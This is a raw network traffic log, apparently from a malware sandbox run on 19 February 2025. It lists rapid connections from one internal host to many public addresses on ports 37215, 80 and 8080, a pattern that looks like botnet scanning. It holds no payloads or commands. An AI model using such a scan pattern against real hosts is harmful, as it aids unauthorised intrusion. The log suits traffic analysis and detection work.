Feb 19, 2025 19:43:18.130779982 CET	40062	37215	192.168.2.13	41.131.14.252
Feb 19, 2025 19:43:18.130779982 CET	47590	80	192.168.2.13	112.63.57.244
Feb 19, 2025 19:43:18.130779982 CET	36070	80	192.168.2.13	112.1.68.79
Feb 19, 2025 19:43:18.130783081 CET	43028	37215	192.168.2.13	41.245.77.10
Feb 19, 2025 19:43:18.130783081 CET	34846	37215	192.168.2.13	41.228.205.237
Feb 19, 2025 19:43:18.130783081 CET	55772	37215	192.168.2.13	41.50.61.235
Feb 19, 2025 19:43:18.130783081 CET	51708	80	192.168.2.13	112.180.141.136
Feb 19, 2025 19:43:18.130794048 CET	49050	80	192.168.2.13	112.73.66.56
Feb 19, 2025 19:43:18.130794048 CET	53944	80	192.168.2.13	112.208.3.41
Feb 19, 2025 19:43:18.130794048 CET	39364	37215	192.168.2.13	41.164.255.101
Feb 19, 2025 19:43:18.130794048 CET	60744	80	192.168.2.13	112.247.93.252
Feb 19, 2025 19:43:18.135896921 CET	80	37118	112.180.178.145	192.168.2.13
Feb 19, 2025 19:43:18.135911942 CET	80	49386	112.13.224.8	192.168.2.13
Feb 19, 2025 19:43:18.135926008 CET	37215	54428	41.223.83.199	192.168.2.13
Feb 19, 2025 19:43:18.135966063 CET	49386	80	192.168.2.13	112.13.224.8
Feb 19, 2025 19:43:18.135966063 CET	37118	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:18.135973930 CET	54428	37215	192.168.2.13	41.223.83.199
Feb 19, 2025 19:43:18.136019945 CET	54428	37215	192.168.2.13	41.223.83.199
Feb 19, 2025 19:43:18.136037111 CET	54428	37215	192.168.2.13	41.223.83.199
Feb 19, 2025 19:43:18.136106968 CET	37118	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:18.136106968 CET	37118	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:18.136497021 CET	37510	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:18.136955976 CET	49386	80	192.168.2.13	112.13.224.8
Feb 19, 2025 19:43:18.136955976 CET	49386	80	192.168.2.13	112.13.224.8
Feb 19, 2025 19:43:18.137273073 CET	49776	80	192.168.2.13	112.13.224.8
Feb 19, 2025 19:43:18.141050100 CET	37215	54428	41.223.83.199	192.168.2.13
Feb 19, 2025 19:43:18.141208887 CET	80	37118	112.180.178.145	192.168.2.13
Feb 19, 2025 19:43:18.141531944 CET	80	37510	112.180.178.145	192.168.2.13
Feb 19, 2025 19:43:18.141581059 CET	37510	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:18.141606092 CET	37510	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:18.141944885 CET	80	49386	112.13.224.8	192.168.2.13
Feb 19, 2025 19:43:18.146866083 CET	80	37510	112.180.178.145	192.168.2.13
Feb 19, 2025 19:43:18.146933079 CET	37510	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:18.150578022 CET	80	37882	112.209.25.241	192.168.2.13
Feb 19, 2025 19:43:18.150590897 CET	37215	53016	41.197.184.75	192.168.2.13
Feb 19, 2025 19:43:18.162759066 CET	47242	37215	192.168.2.13	41.179.145.95
Feb 19, 2025 19:43:18.162766933 CET	34276	37215	192.168.2.13	41.149.130.238
Feb 19, 2025 19:43:18.162770987 CET	53438	37215	192.168.2.13	41.188.17.219
Feb 19, 2025 19:43:18.162770987 CET	36662	37215	192.168.2.13	41.14.9.199
Feb 19, 2025 19:43:18.162784100 CET	50270	80	192.168.2.13	112.155.65.13
Feb 19, 2025 19:43:18.162784100 CET	52888	80	192.168.2.13	112.198.68.168
Feb 19, 2025 19:43:18.162784100 CET	50534	80	192.168.2.13	112.191.37.41
Feb 19, 2025 19:43:18.162786961 CET	34440	37215	192.168.2.13	41.198.206.73
Feb 19, 2025 19:43:18.162787914 CET	41400	80	192.168.2.13	112.130.168.128
Feb 19, 2025 19:43:18.162791014 CET	34178	37215	192.168.2.13	41.146.23.244
Feb 19, 2025 19:43:18.162791014 CET	59294	80	192.168.2.13	112.120.184.173
Feb 19, 2025 19:43:18.162797928 CET	36186	80	192.168.2.13	112.139.109.49
Feb 19, 2025 19:43:18.162802935 CET	35974	80	192.168.2.13	112.123.30.53
Feb 19, 2025 19:43:18.162802935 CET	53982	37215	192.168.2.13	41.168.4.54
Feb 19, 2025 19:43:18.162802935 CET	55900	80	192.168.2.13	112.46.50.149
Feb 19, 2025 19:43:18.162806988 CET	33370	80	192.168.2.13	112.171.232.237
Feb 19, 2025 19:43:18.162808895 CET	48502	37215	192.168.2.13	41.17.5.255
Feb 19, 2025 19:43:18.162808895 CET	54908	37215	192.168.2.13	41.243.208.66
Feb 19, 2025 19:43:18.162808895 CET	58510	80	192.168.2.13	112.168.11.189
Feb 19, 2025 19:43:18.162813902 CET	57986	80	192.168.2.13	112.159.7.117
Feb 19, 2025 19:43:18.162818909 CET	54430	37215	192.168.2.13	41.22.235.81
Feb 19, 2025 19:43:18.162821054 CET	39368	80	192.168.2.13	112.31.165.73
Feb 19, 2025 19:43:18.162830114 CET	36302	37215	192.168.2.13	41.35.141.166
Feb 19, 2025 19:43:18.162830114 CET	46116	37215	192.168.2.13	41.119.241.216
Feb 19, 2025 19:43:18.167933941 CET	37215	47242	41.179.145.95	192.168.2.13
Feb 19, 2025 19:43:18.167953014 CET	37215	34276	41.149.130.238	192.168.2.13
Feb 19, 2025 19:43:18.168155909 CET	47242	37215	192.168.2.13	41.179.145.95
Feb 19, 2025 19:43:18.168158054 CET	34276	37215	192.168.2.13	41.149.130.238
Feb 19, 2025 19:43:18.168158054 CET	34276	37215	192.168.2.13	41.149.130.238
Feb 19, 2025 19:43:18.168179989 CET	47242	37215	192.168.2.13	41.179.145.95
Feb 19, 2025 19:43:18.168251991 CET	47242	37215	192.168.2.13	41.179.145.95
Feb 19, 2025 19:43:18.168277979 CET	34276	37215	192.168.2.13	41.149.130.238
Feb 19, 2025 19:43:18.173178911 CET	37215	34276	41.149.130.238	192.168.2.13
Feb 19, 2025 19:43:18.173312902 CET	37215	47242	41.179.145.95	192.168.2.13
Feb 19, 2025 19:43:18.182585001 CET	80	49386	112.13.224.8	192.168.2.13
Feb 19, 2025 19:43:18.182596922 CET	80	37118	112.180.178.145	192.168.2.13
Feb 19, 2025 19:43:18.182605028 CET	37215	54428	41.223.83.199	192.168.2.13
Feb 19, 2025 19:43:18.194751978 CET	40198	37215	192.168.2.13	41.190.149.92
Feb 19, 2025 19:43:18.194751978 CET	53418	37215	192.168.2.13	41.169.197.93
Feb 19, 2025 19:43:18.194758892 CET	57528	37215	192.168.2.13	41.251.91.84
Feb 19, 2025 19:43:18.194799900 CET	57716	80	192.168.2.13	112.5.109.101
Feb 19, 2025 19:43:18.194807053 CET	46040	80	192.168.2.13	112.187.243.104
Feb 19, 2025 19:43:18.194808960 CET	50506	80	192.168.2.13	112.87.69.255
Feb 19, 2025 19:43:18.194809914 CET	60392	80	192.168.2.13	112.141.221.191
Feb 19, 2025 19:43:18.199811935 CET	37215	40198	41.190.149.92	192.168.2.13
Feb 19, 2025 19:43:18.199871063 CET	40198	37215	192.168.2.13	41.190.149.92
Feb 19, 2025 19:43:18.199872971 CET	37215	53418	41.169.197.93	192.168.2.13
Feb 19, 2025 19:43:18.199882984 CET	37215	57528	41.251.91.84	192.168.2.13
Feb 19, 2025 19:43:18.199908018 CET	53418	37215	192.168.2.13	41.169.197.93
Feb 19, 2025 19:43:18.199912071 CET	57528	37215	192.168.2.13	41.251.91.84
Feb 19, 2025 19:43:18.199971914 CET	40198	37215	192.168.2.13	41.190.149.92
Feb 19, 2025 19:43:18.200017929 CET	57528	37215	192.168.2.13	41.251.91.84
Feb 19, 2025 19:43:18.200037003 CET	53418	37215	192.168.2.13	41.169.197.93
Feb 19, 2025 19:43:18.200046062 CET	40198	37215	192.168.2.13	41.190.149.92
Feb 19, 2025 19:43:18.200089931 CET	57528	37215	192.168.2.13	41.251.91.84
Feb 19, 2025 19:43:18.200093031 CET	53418	37215	192.168.2.13	41.169.197.93
Feb 19, 2025 19:43:18.204969883 CET	37215	40198	41.190.149.92	192.168.2.13
Feb 19, 2025 19:43:18.205091953 CET	37215	57528	41.251.91.84	192.168.2.13
Feb 19, 2025 19:43:18.205100060 CET	37215	53418	41.169.197.93	192.168.2.13
Feb 19, 2025 19:43:18.214565992 CET	37215	34276	41.149.130.238	192.168.2.13
Feb 19, 2025 19:43:18.214574099 CET	37215	47242	41.179.145.95	192.168.2.13
Feb 19, 2025 19:43:18.226746082 CET	40408	37215	192.168.2.13	41.6.146.186
Feb 19, 2025 19:43:18.226751089 CET	57104	80	192.168.2.13	112.153.230.206
Feb 19, 2025 19:43:18.226766109 CET	57482	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:18.226768970 CET	58690	80	192.168.2.13	112.216.48.13
Feb 19, 2025 19:43:18.226794004 CET	45418	80	192.168.2.13	112.219.28.225
Feb 19, 2025 19:43:18.231852055 CET	37215	40408	41.6.146.186	192.168.2.13
Feb 19, 2025 19:43:18.231862068 CET	80	57104	112.153.230.206	192.168.2.13
Feb 19, 2025 19:43:18.231870890 CET	80	57482	112.21.233.203	192.168.2.13
Feb 19, 2025 19:43:18.231905937 CET	57104	80	192.168.2.13	112.153.230.206
Feb 19, 2025 19:43:18.231914043 CET	57482	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:18.232002020 CET	40408	37215	192.168.2.13	41.6.146.186
Feb 19, 2025 19:43:18.232059002 CET	40408	37215	192.168.2.13	41.6.146.186
Feb 19, 2025 19:43:18.232099056 CET	40408	37215	192.168.2.13	41.6.146.186
Feb 19, 2025 19:43:18.232191086 CET	57482	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:18.232191086 CET	57482	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:18.233000040 CET	57788	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:18.233275890 CET	57104	80	192.168.2.13	112.153.230.206
Feb 19, 2025 19:43:18.233275890 CET	57104	80	192.168.2.13	112.153.230.206
Feb 19, 2025 19:43:18.233668089 CET	57400	80	192.168.2.13	112.153.230.206
Feb 19, 2025 19:43:18.237031937 CET	37215	40408	41.6.146.186	192.168.2.13
Feb 19, 2025 19:43:18.237215042 CET	80	57482	112.21.233.203	192.168.2.13
Feb 19, 2025 19:43:18.238008976 CET	80	57788	112.21.233.203	192.168.2.13
Feb 19, 2025 19:43:18.238090038 CET	57788	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:18.238090038 CET	57788	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:18.238281965 CET	80	57104	112.153.230.206	192.168.2.13
Feb 19, 2025 19:43:18.243457079 CET	80	57788	112.21.233.203	192.168.2.13
Feb 19, 2025 19:43:18.243525028 CET	57788	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:18.246611118 CET	37215	53418	41.169.197.93	192.168.2.13
Feb 19, 2025 19:43:18.246675014 CET	37215	57528	41.251.91.84	192.168.2.13
Feb 19, 2025 19:43:18.246702909 CET	37215	40198	41.190.149.92	192.168.2.13
Feb 19, 2025 19:43:18.258744001 CET	38856	37215	192.168.2.13	41.79.26.198
Feb 19, 2025 19:43:18.258744001 CET	43278	37215	192.168.2.13	41.161.208.160
Feb 19, 2025 19:43:18.258763075 CET	34084	80	192.168.2.13	112.62.87.190
Feb 19, 2025 19:43:18.258766890 CET	33844	80	192.168.2.13	112.193.201.91
Feb 19, 2025 19:43:18.258769989 CET	47484	37215	192.168.2.13	41.222.43.0
Feb 19, 2025 19:43:18.258771896 CET	38496	37215	192.168.2.13	41.156.191.155
Feb 19, 2025 19:43:18.258771896 CET	36652	80	192.168.2.13	112.107.102.14
Feb 19, 2025 19:43:18.258771896 CET	60748	37215	192.168.2.13	41.176.91.11
Feb 19, 2025 19:43:18.258780956 CET	47482	37215	192.168.2.13	41.56.56.3
Feb 19, 2025 19:43:18.258775949 CET	54832	80	192.168.2.13	112.63.140.176
Feb 19, 2025 19:43:18.258775949 CET	59232	37215	192.168.2.13	41.119.83.158
Feb 19, 2025 19:43:18.258775949 CET	47058	80	192.168.2.13	112.189.104.49
Feb 19, 2025 19:43:18.258785009 CET	57656	37215	192.168.2.13	41.225.117.212
Feb 19, 2025 19:43:18.258790970 CET	38110	37215	192.168.2.13	41.236.138.100
Feb 19, 2025 19:43:18.258794069 CET	57896	80	192.168.2.13	112.35.146.165
Feb 19, 2025 19:43:18.258795023 CET	53742	37215	192.168.2.13	41.127.190.95
Feb 19, 2025 19:43:18.258796930 CET	58464	37215	192.168.2.13	41.235.226.46
Feb 19, 2025 19:43:18.258796930 CET	35628	37215	192.168.2.13	41.20.171.166
Feb 19, 2025 19:43:18.258796930 CET	36788	80	192.168.2.13	112.53.150.148
Feb 19, 2025 19:43:18.258805037 CET	35122	80	192.168.2.13	112.23.135.135
Feb 19, 2025 19:43:18.258805037 CET	59672	80	192.168.2.13	112.159.76.254
Feb 19, 2025 19:43:18.258805037 CET	44938	80	192.168.2.13	112.183.29.125
Feb 19, 2025 19:43:18.258812904 CET	57018	80	192.168.2.13	112.32.36.79
Feb 19, 2025 19:43:18.258812904 CET	56138	80	192.168.2.13	112.136.126.65
Feb 19, 2025 19:43:18.263864040 CET	37215	38856	41.79.26.198	192.168.2.13
Feb 19, 2025 19:43:18.263892889 CET	37215	43278	41.161.208.160	192.168.2.13
Feb 19, 2025 19:43:18.263922930 CET	80	34084	112.62.87.190	192.168.2.13
Feb 19, 2025 19:43:18.263945103 CET	38856	37215	192.168.2.13	41.79.26.198
Feb 19, 2025 19:43:18.263945103 CET	43278	37215	192.168.2.13	41.161.208.160
Feb 19, 2025 19:43:18.263967991 CET	34084	80	192.168.2.13	112.62.87.190
Feb 19, 2025 19:43:18.264051914 CET	43278	37215	192.168.2.13	41.161.208.160
Feb 19, 2025 19:43:18.264074087 CET	38856	37215	192.168.2.13	41.79.26.198
Feb 19, 2025 19:43:18.264120102 CET	43278	37215	192.168.2.13	41.161.208.160
Feb 19, 2025 19:43:18.264132977 CET	38856	37215	192.168.2.13	41.79.26.198
Feb 19, 2025 19:43:18.264230967 CET	34084	80	192.168.2.13	112.62.87.190
Feb 19, 2025 19:43:18.264246941 CET	34084	80	192.168.2.13	112.62.87.190
Feb 19, 2025 19:43:18.264666080 CET	34326	80	192.168.2.13	112.62.87.190
Feb 19, 2025 19:43:18.269097090 CET	37215	43278	41.161.208.160	192.168.2.13
Feb 19, 2025 19:43:18.269216061 CET	37215	38856	41.79.26.198	192.168.2.13
Feb 19, 2025 19:43:18.269315958 CET	80	34084	112.62.87.190	192.168.2.13
Feb 19, 2025 19:43:18.270260096 CET	26802	8080	192.168.2.13	62.242.206.92
Feb 19, 2025 19:43:18.270268917 CET	26802	8080	192.168.2.13	94.30.21.249
Feb 19, 2025 19:43:18.270277977 CET	26802	8080	192.168.2.13	94.45.52.86
Feb 19, 2025 19:43:18.270287991 CET	26802	8080	192.168.2.13	95.171.232.22
Feb 19, 2025 19:43:18.270311117 CET	26802	8080	192.168.2.13	31.146.68.85
Feb 19, 2025 19:43:18.270323992 CET	26802	8080	192.168.2.13	62.4.149.6
Feb 19, 2025 19:43:18.270344019 CET	26802	8080	192.168.2.13	62.166.58.18
Feb 19, 2025 19:43:18.270344973 CET	26802	8080	192.168.2.13	94.201.223.253
Feb 19, 2025 19:43:18.270361900 CET	26802	8080	192.168.2.13	85.138.250.53
Feb 19, 2025 19:43:18.270380974 CET	26802	8080	192.168.2.13	85.176.175.39
Feb 19, 2025 19:43:18.270380974 CET	26802	8080	192.168.2.13	95.170.45.74
Feb 19, 2025 19:43:18.270390034 CET	26802	8080	192.168.2.13	31.146.114.67
Feb 19, 2025 19:43:18.270409107 CET	26802	8080	192.168.2.13	95.80.110.203
Feb 19, 2025 19:43:18.270409107 CET	26802	8080	192.168.2.13	62.255.137.27
Feb 19, 2025 19:43:18.270418882 CET	26802	8080	192.168.2.13	94.101.179.216
Feb 19, 2025 19:43:18.270430088 CET	26802	8080	192.168.2.13	85.94.242.166
Feb 19, 2025 19:43:18.270442963 CET	26802	8080	192.168.2.13	94.99.114.129
Feb 19, 2025 19:43:18.270456076 CET	26802	8080	192.168.2.13	31.127.234.244
Feb 19, 2025 19:43:18.270461082 CET	26802	8080	192.168.2.13	94.237.230.83
Feb 19, 2025 19:43:18.270478010 CET	26802	8080	192.168.2.13	94.189.129.148
Feb 19, 2025 19:43:18.270478010 CET	26802	8080	192.168.2.13	31.164.144.79
Feb 19, 2025 19:43:18.270488024 CET	26802	8080	192.168.2.13	94.211.44.169
Feb 19, 2025 19:43:18.270500898 CET	26802	8080	192.168.2.13	94.200.43.210
Feb 19, 2025 19:43:18.270514965 CET	26802	8080	192.168.2.13	94.30.205.208
Feb 19, 2025 19:43:18.270515919 CET	26802	8080	192.168.2.13	85.178.59.89
Feb 19, 2025 19:43:18.270534992 CET	26802	8080	192.168.2.13	95.113.93.130
Feb 19, 2025 19:43:18.270546913 CET	26802	8080	192.168.2.13	62.136.35.184
Feb 19, 2025 19:43:18.270562887 CET	26802	8080	192.168.2.13	62.120.5.188
Feb 19, 2025 19:43:18.270584106 CET	26802	8080	192.168.2.13	85.70.41.16
Feb 19, 2025 19:43:18.270585060 CET	26802	8080	192.168.2.13	85.122.212.191
Feb 19, 2025 19:43:18.270587921 CET	26802	8080	192.168.2.13	95.126.50.155
Feb 19, 2025 19:43:18.270591021 CET	26802	8080	192.168.2.13	85.84.14.147
Feb 19, 2025 19:43:18.270591021 CET	26802	8080	192.168.2.13	85.157.189.101
Feb 19, 2025 19:43:18.270607948 CET	26802	8080	192.168.2.13	94.163.53.95
Feb 19, 2025 19:43:18.270607948 CET	26802	8080	192.168.2.13	95.5.252.67
Feb 19, 2025 19:43:18.270610094 CET	26802	8080	192.168.2.13	31.114.147.133
Feb 19, 2025 19:43:18.270607948 CET	26802	8080	192.168.2.13	95.203.99.148
Feb 19, 2025 19:43:18.270607948 CET	26802	8080	192.168.2.13	62.41.76.205
Feb 19, 2025 19:43:18.270618916 CET	26802	8080	192.168.2.13	62.149.89.68
Feb 19, 2025 19:43:18.270629883 CET	26802	8080	192.168.2.13	85.113.83.124
Feb 19, 2025 19:43:18.270641088 CET	26802	8080	192.168.2.13	31.2.148.171
Feb 19, 2025 19:43:18.270667076 CET	26802	8080	192.168.2.13	85.101.126.200
Feb 19, 2025 19:43:18.270682096 CET	26802	8080	192.168.2.13	95.17.2.138
Feb 19, 2025 19:43:18.270698071 CET	26802	8080	192.168.2.13	95.189.237.127
Feb 19, 2025 19:43:18.270706892 CET	26802	8080	192.168.2.13	31.176.124.35
Feb 19, 2025 19:43:18.270711899 CET	26802	8080	192.168.2.13	94.100.79.50
Feb 19, 2025 19:43:18.270726919 CET	26802	8080	192.168.2.13	62.21.64.200
Feb 19, 2025 19:43:18.270747900 CET	26802	8080	192.168.2.13	94.197.221.85
Feb 19, 2025 19:43:18.270767927 CET	26802	8080	192.168.2.13	62.133.142.107
Feb 19, 2025 19:43:18.270781040 CET	26802	8080	192.168.2.13	31.114.113.1
Feb 19, 2025 19:43:18.270781040 CET	26802	8080	192.168.2.13	85.34.92.30
Feb 19, 2025 19:43:18.270790100 CET	26802	8080	192.168.2.13	62.143.61.4
Feb 19, 2025 19:43:18.270809889 CET	26802	8080	192.168.2.13	85.144.201.134
Feb 19, 2025 19:43:18.270821095 CET	26802	8080	192.168.2.13	62.40.201.167
Feb 19, 2025 19:43:18.270829916 CET	26802	8080	192.168.2.13	95.77.71.246
Feb 19, 2025 19:43:18.270829916 CET	26802	8080	192.168.2.13	95.65.232.215
Feb 19, 2025 19:43:18.270836115 CET	26802	8080	192.168.2.13	94.214.187.44
Feb 19, 2025 19:43:18.270859003 CET	26802	8080	192.168.2.13	95.171.240.203
Feb 19, 2025 19:43:18.270867109 CET	26802	8080	192.168.2.13	31.18.58.211
Feb 19, 2025 19:43:18.270874023 CET	26802	8080	192.168.2.13	94.121.40.198
Feb 19, 2025 19:43:18.270874023 CET	26802	8080	192.168.2.13	31.194.145.24
Feb 19, 2025 19:43:18.270900965 CET	26802	8080	192.168.2.13	94.103.224.25
Feb 19, 2025 19:43:18.270908117 CET	26802	8080	192.168.2.13	95.113.25.134
Feb 19, 2025 19:43:18.270930052 CET	26802	8080	192.168.2.13	95.40.101.125
Feb 19, 2025 19:43:18.270941973 CET	26802	8080	192.168.2.13	94.199.254.148
Feb 19, 2025 19:43:18.270962000 CET	26802	8080	192.168.2.13	31.46.178.82
Feb 19, 2025 19:43:18.270975113 CET	26802	8080	192.168.2.13	85.192.127.216
Feb 19, 2025 19:43:18.270975113 CET	26802	8080	192.168.2.13	95.137.118.179
Feb 19, 2025 19:43:18.270981073 CET	26802	8080	192.168.2.13	94.168.123.204
Feb 19, 2025 19:43:18.270992041 CET	26802	8080	192.168.2.13	31.250.122.198
Feb 19, 2025 19:43:18.270993948 CET	26802	8080	192.168.2.13	31.111.165.47
Feb 19, 2025 19:43:18.271033049 CET	26802	8080	192.168.2.13	62.35.247.88
Feb 19, 2025 19:43:18.271039963 CET	26802	8080	192.168.2.13	31.48.68.190
Feb 19, 2025 19:43:18.271045923 CET	26802	8080	192.168.2.13	95.4.135.47
Feb 19, 2025 19:43:18.271064043 CET	26802	8080	192.168.2.13	85.251.102.151
Feb 19, 2025 19:43:18.271075964 CET	26802	8080	192.168.2.13	31.170.175.86
Feb 19, 2025 19:43:18.271075964 CET	26802	8080	192.168.2.13	62.56.208.55
Feb 19, 2025 19:43:18.271080971 CET	26802	8080	192.168.2.13	85.135.226.107
Feb 19, 2025 19:43:18.271100044 CET	26802	8080	192.168.2.13	95.25.87.44
Feb 19, 2025 19:43:18.271112919 CET	26802	8080	192.168.2.13	31.255.246.119
Feb 19, 2025 19:43:18.271140099 CET	26802	8080	192.168.2.13	62.166.166.5
Feb 19, 2025 19:43:18.271148920 CET	26802	8080	192.168.2.13	94.85.142.184
Feb 19, 2025 19:43:18.271163940 CET	26802	8080	192.168.2.13	31.163.177.254
Feb 19, 2025 19:43:18.271176100 CET	26802	8080	192.168.2.13	95.106.209.90
Feb 19, 2025 19:43:18.271183014 CET	26802	8080	192.168.2.13	85.98.248.235
Feb 19, 2025 19:43:18.271195889 CET	26802	8080	192.168.2.13	94.79.183.119
Feb 19, 2025 19:43:18.271202087 CET	26802	8080	192.168.2.13	62.118.3.202
Feb 19, 2025 19:43:18.271217108 CET	26802	8080	192.168.2.13	85.102.15.44
Feb 19, 2025 19:43:18.271230936 CET	26802	8080	192.168.2.13	62.100.211.22
Feb 19, 2025 19:43:18.271230936 CET	26802	8080	192.168.2.13	62.176.184.235
Feb 19, 2025 19:43:18.271241903 CET	26802	8080	192.168.2.13	94.116.78.101
Feb 19, 2025 19:43:18.271248102 CET	26802	8080	192.168.2.13	85.248.173.54
Feb 19, 2025 19:43:18.271258116 CET	26802	8080	192.168.2.13	62.31.27.175
Feb 19, 2025 19:43:18.271269083 CET	26802	8080	192.168.2.13	31.177.84.84
Feb 19, 2025 19:43:18.271275997 CET	26802	8080	192.168.2.13	95.186.160.212
Feb 19, 2025 19:43:18.271295071 CET	26802	8080	192.168.2.13	85.131.52.233
Feb 19, 2025 19:43:18.271297932 CET	26802	8080	192.168.2.13	85.11.24.112
Feb 19, 2025 19:43:18.271297932 CET	26802	8080	192.168.2.13	95.49.92.123
Feb 19, 2025 19:43:18.271297932 CET	26802	8080	192.168.2.13	31.106.243.131
Feb 19, 2025 19:43:18.271297932 CET	26802	8080	192.168.2.13	94.210.186.21
Feb 19, 2025 19:43:18.271297932 CET	26802	8080	192.168.2.13	94.144.119.144
Feb 19, 2025 19:43:18.271297932 CET	26802	8080	192.168.2.13	85.79.106.143
Feb 19, 2025 19:43:18.271297932 CET	26802	8080	192.168.2.13	31.185.65.127
Feb 19, 2025 19:43:18.271297932 CET	26802	8080	192.168.2.13	95.101.198.193
Feb 19, 2025 19:43:18.271303892 CET	26802	8080	192.168.2.13	94.255.0.246
Feb 19, 2025 19:43:18.271307945 CET	26802	8080	192.168.2.13	31.64.132.49
Feb 19, 2025 19:43:18.271310091 CET	26802	8080	192.168.2.13	31.160.87.126
Feb 19, 2025 19:43:18.271317959 CET	26802	8080	192.168.2.13	85.160.56.187
Feb 19, 2025 19:43:18.271317959 CET	26802	8080	192.168.2.13	31.162.150.101
Feb 19, 2025 19:43:18.271325111 CET	26802	8080	192.168.2.13	95.69.144.188
Feb 19, 2025 19:43:18.271326065 CET	26802	8080	192.168.2.13	31.237.226.193
Feb 19, 2025 19:43:18.271327972 CET	26802	8080	192.168.2.13	85.184.137.226
Feb 19, 2025 19:43:18.271327972 CET	26802	8080	192.168.2.13	94.133.105.10
Feb 19, 2025 19:43:18.271346092 CET	26802	8080	192.168.2.13	62.139.254.90
Feb 19, 2025 19:43:18.271347046 CET	26802	8080	192.168.2.13	95.252.65.66
Feb 19, 2025 19:43:18.271364927 CET	26802	8080	192.168.2.13	95.253.151.24
Feb 19, 2025 19:43:18.271382093 CET	26802	8080	192.168.2.13	95.132.253.15
Feb 19, 2025 19:43:18.271384001 CET	26802	8080	192.168.2.13	31.171.176.98
Feb 19, 2025 19:43:18.271414995 CET	26802	8080	192.168.2.13	85.242.193.124
Feb 19, 2025 19:43:18.271429062 CET	26802	8080	192.168.2.13	85.79.56.96
Feb 19, 2025 19:43:18.271431923 CET	26802	8080	192.168.2.13	31.80.10.188
Feb 19, 2025 19:43:18.271467924 CET	26802	8080	192.168.2.13	95.163.139.138
Feb 19, 2025 19:43:18.271481037 CET	26802	8080	192.168.2.13	62.208.174.101
Feb 19, 2025 19:43:18.271486044 CET	26802	8080	192.168.2.13	62.6.7.53
Feb 19, 2025 19:43:18.271486044 CET	26802	8080	192.168.2.13	95.24.201.21
Feb 19, 2025 19:43:18.271501064 CET	26802	8080	192.168.2.13	62.25.245.6
Feb 19, 2025 19:43:18.271501064 CET	26802	8080	192.168.2.13	62.179.83.56
Feb 19, 2025 19:43:18.271501064 CET	26802	8080	192.168.2.13	62.121.16.213
Feb 19, 2025 19:43:18.271501064 CET	26802	8080	192.168.2.13	94.240.83.68
Feb 19, 2025 19:43:18.271512985 CET	26802	8080	192.168.2.13	31.116.246.129
Feb 19, 2025 19:43:18.271522045 CET	26802	8080	192.168.2.13	85.2.164.211
Feb 19, 2025 19:43:18.271522045 CET	26802	8080	192.168.2.13	85.104.15.93
Feb 19, 2025 19:43:18.271523952 CET	26802	8080	192.168.2.13	85.141.18.188
Feb 19, 2025 19:43:18.271523952 CET	26802	8080	192.168.2.13	94.114.122.213
Feb 19, 2025 19:43:18.271531105 CET	26802	8080	192.168.2.13	94.206.145.9
Feb 19, 2025 19:43:18.271536112 CET	26802	8080	192.168.2.13	85.31.137.92
Feb 19, 2025 19:43:18.271545887 CET	26802	8080	192.168.2.13	62.253.189.224
Feb 19, 2025 19:43:18.271547079 CET	26802	8080	192.168.2.13	85.163.95.29
Feb 19, 2025 19:43:18.271550894 CET	26802	8080	192.168.2.13	85.176.16.104
Feb 19, 2025 19:43:18.271557093 CET	26802	8080	192.168.2.13	85.51.143.34
Feb 19, 2025 19:43:18.271580935 CET	26802	8080	192.168.2.13	95.156.32.243
Feb 19, 2025 19:43:18.271589041 CET	26802	8080	192.168.2.13	94.200.247.148
Feb 19, 2025 19:43:18.271589994 CET	26802	8080	192.168.2.13	31.7.137.27
Feb 19, 2025 19:43:18.271589994 CET	26802	8080	192.168.2.13	31.165.5.88
Feb 19, 2025 19:43:18.271591902 CET	26802	8080	192.168.2.13	85.45.74.45
Feb 19, 2025 19:43:18.271591902 CET	26802	8080	192.168.2.13	62.189.232.58
Feb 19, 2025 19:43:18.271599054 CET	26802	8080	192.168.2.13	31.156.62.197
Feb 19, 2025 19:43:18.271605015 CET	26802	8080	192.168.2.13	62.47.112.26
Feb 19, 2025 19:43:18.271619081 CET	26802	8080	192.168.2.13	62.76.123.168
Feb 19, 2025 19:43:18.271636009 CET	26802	8080	192.168.2.13	94.163.160.249
Feb 19, 2025 19:43:18.271636009 CET	26802	8080	192.168.2.13	85.128.219.4
Feb 19, 2025 19:43:18.271657944 CET	26802	8080	192.168.2.13	94.72.61.209
Feb 19, 2025 19:43:18.271661997 CET	26802	8080	192.168.2.13	95.204.178.204
Feb 19, 2025 19:43:18.271672964 CET	26802	8080	192.168.2.13	94.175.239.114
Feb 19, 2025 19:43:18.271684885 CET	26802	8080	192.168.2.13	31.209.104.50
Feb 19, 2025 19:43:18.271696091 CET	26802	8080	192.168.2.13	31.204.132.46
Feb 19, 2025 19:43:18.271697998 CET	26802	8080	192.168.2.13	95.51.220.69
Feb 19, 2025 19:43:18.271709919 CET	26802	8080	192.168.2.13	95.60.110.188
Feb 19, 2025 19:43:18.271724939 CET	26802	8080	192.168.2.13	94.16.63.106
Feb 19, 2025 19:43:18.271735907 CET	26802	8080	192.168.2.13	31.156.87.111
Feb 19, 2025 19:43:18.271765947 CET	26802	8080	192.168.2.13	62.182.64.22
Feb 19, 2025 19:43:18.271765947 CET	26802	8080	192.168.2.13	62.16.9.234
Feb 19, 2025 19:43:18.271778107 CET	26802	8080	192.168.2.13	95.112.14.248
Feb 19, 2025 19:43:18.271764040 CET	26802	8080	192.168.2.13	85.242.49.222
Feb 19, 2025 19:43:18.271764040 CET	26802	8080	192.168.2.13	31.172.137.198
Feb 19, 2025 19:43:18.271805048 CET	26802	8080	192.168.2.13	85.236.15.79
Feb 19, 2025 19:43:18.271806002 CET	26802	8080	192.168.2.13	95.23.152.188
Feb 19, 2025 19:43:18.271820068 CET	26802	8080	192.168.2.13	95.254.234.195
Feb 19, 2025 19:43:18.271842003 CET	26802	8080	192.168.2.13	31.170.114.141
